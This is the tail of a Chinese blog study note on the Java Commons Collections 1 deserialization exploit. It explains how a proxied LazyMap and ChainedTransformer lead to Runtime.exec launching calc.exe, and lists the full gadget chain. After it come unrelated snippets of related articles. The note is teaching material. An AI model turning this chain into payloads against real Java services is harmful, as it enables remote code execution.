因为proxyMap是我们的代理对象,所以调用proxyMap的entrySet()会触发到AnnotationInvocationHandler的invoke()方法进行执行。这也是动态代理的一个特性,代理对象调用任意方法,调用处理器中的invoke()方法都执行一次

执行AnnotationInvocationHandler的invoke()方法后又会调用get方法,再次回到刚刚的地方了。

LazyMap 的get方法方法里面的this.factory为Transformer[]数组,这时候去调用就会执行transform方法,而ChainedTransformer的transform方法又会去遍历调用Transformer[]里面的transform方法,导致使用方式的方式传入的Runtime调用了exec执行了calc.exe弹出一个计算器

利用链

Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

参考:

https://www.cnblogs.com/adamjwh/p/9683705.html

https://www.anquanke.com/post/id/230788

https://www.cnblogs.com/nice0e3/p/13779857.html

CommonCollection1反序列化学系的更多相关文章

  1. 修复PHP在64位下序列化(serialize)的字符串在32位机器下反序列

    32机器下PHP 整型数值的范围最大不超过2147483647,而有些超出范围的数值在64序列化好的数据标识为整型,在反序列时就可能会出错. 尝试使用以下的办法可以修复此问题 function int ...

  2. 使用 dynamic 标记解析JSON字符串 JDynamic :支持Json反序列化为Dynamic对象

    使用 dynamic 标记解析JSON字符串  http://www.cnblogs.com/taotaodetuer/p/4171327.html 1 string jsonStr = " ...

  3. 调用newtonsoft.json反序列出错

    调用newtonsoft.json反序列出错: Newtonsoft.Json.JsonSerializationException: Cannot deserialize the current J ...

  4. ObjC 巧用反射和KVC实现JSON快速反序列化成对象

    1.简单的KVC介绍 KVC是一种间接访问对象属性的机制,不直接调用getter 和 setter方法,而使用valueForKey 来替代getter 方法,setValue:forKey来代替se ...

  5. 序列化与反序列化成XML

    http://blog.itpub.net/12639172/viewspace-490786/ 现在XML都普遍的用到了很多地方,它的平台无关.方便.结构化.适用性的特点让人不得不去接受它,在C#中 ...

  6. 日志log使用序列反序列加密(Serializer) DESCrypto 加密

    若一次加密一个文件内容,文件内容不会更新变化,网上大多数序列化反序列加密程序是没问题的. 1:由于log文件的随时会更新内容,那网上常用的程序是行不通的.需要做修改 若想通过打开txt , using ...

  7. Newtonsoft.Json序列化和反序列之javascriptConvert.SerializeObject,DeserializeObject,JsonWriter,JsonReader

    这里下载:http://www.newtonsoft.com/products/json/安装:   1.解压下载文件,得到Newtonsoft.Json.dll   2.在项目中添加引用.. jav ...

  8. ajax提交后台自动反序列化成对象

    下面是ajax提交的方法,主要用到了$form.serializeArray()将表单序列化成json对象,然后用each处理一下,代码如下: var $form = $('<form>& ...

  9. JDynamic :支持Json反序列化为Dynamic对象

    JDynamic :支持Json反序列化为Dynamic对象   2010年 .NET 4.0 发布前后,从3.5向4.0迁移,那时也有一些异构系统的需求,主要是和PHP打交道,通信使用的HTTP 格 ...

随机推荐

  1. 【基础知识】cache 管线(Pipeline)的建立便可以提升cpu的性能,为什么还要去发展多核的cpu?

    多管线 (Pipeline)的确可以提高主频,比如搭配 NetBurs架构的Pentium4,它拥有20级的管线技术,虽然可以轻易提高主频,但是效率会降低.而且随着频率的上升,功率也大幅上升温度问题也 ...

  2. IDE 、SDK 、API区别、库、框架、组件、CLI

    IDE:集成开发环境:包括代码编辑器.代码检测.代码调试器.译器/解释器.以及其他工具 SDK:SDK是IDE的基础引擎 ,比IDE更基本,因为它通常没有图形工具.工程师为辅助开发某类软件的相关文档. ...

  3. 5、CPU 的线程与操作系统的线程有何关系?操作系统中的进程和线程是什么关系?

    CPU中的线程和操作系统(OS)中的线程即不同,在调度的时候又有些关联.CPU中的线程,我们叫它们Thread,和OS中的线程的名字一样.它来自同步多线程(SMT,Simultaneous Multi ...

  4. linux光盘使用、rpm软件包、yum软件仓库安装使用

    转至:https://blog.51cto.com/zpeng/1532520 一.光盘文件使用 1,RHEL5(x86_64)光盘结构 Cluster              //集群二进制包 C ...

  5. curl 命令常用

    参考: https://www.cnblogs.com/name-lizonglin/p/12167808.html -- 测试 请求返回时间  测试Pod 之间解析时间   用key为空字符串查me ...

  6. 01-SpringCloud介绍

    简介 Spring Cloud provides tools for developers to quickly build some of the common patterns in distri ...

  7. gcc与g++区别;编译选项

    gcc与g++区别:可以相互编译,但是gcc不会自动进行c++的链接 gcc g++编译选项: -E 预处理 -S 编译指定源文件但是不尽兴汇编 -c 编译汇编,但是不进行链接 -o 编译成可执行文件 ...

  8. 矩池云上关于conda的一些使用技巧

    关于源的加速和使用 bash /public/script/switch_conda_source.sh 输入想要切换的源前面的序号,然后按回车,源会自动切换. 当然这个地方需要注意的是如果遇到一些国 ...

  9. linux作业--第十一周

    1. 导入hellodb.sql生成数据库 (1) 在students表中,查询年龄大于25岁,且为男性的同学的名字和年龄 (2) 以ClassID为分组依据,显示每组的平均年龄 (3) 显示第2题中 ...

  10. java上传图片时压缩图片

    /** * 函数:调整图片尺寸或生成缩略图 v 1.1 * @param $Image 需要调整的图片(含路径) * @param $Dw 调整时最大宽度;缩略图时的绝对宽度 * @param $Dh ...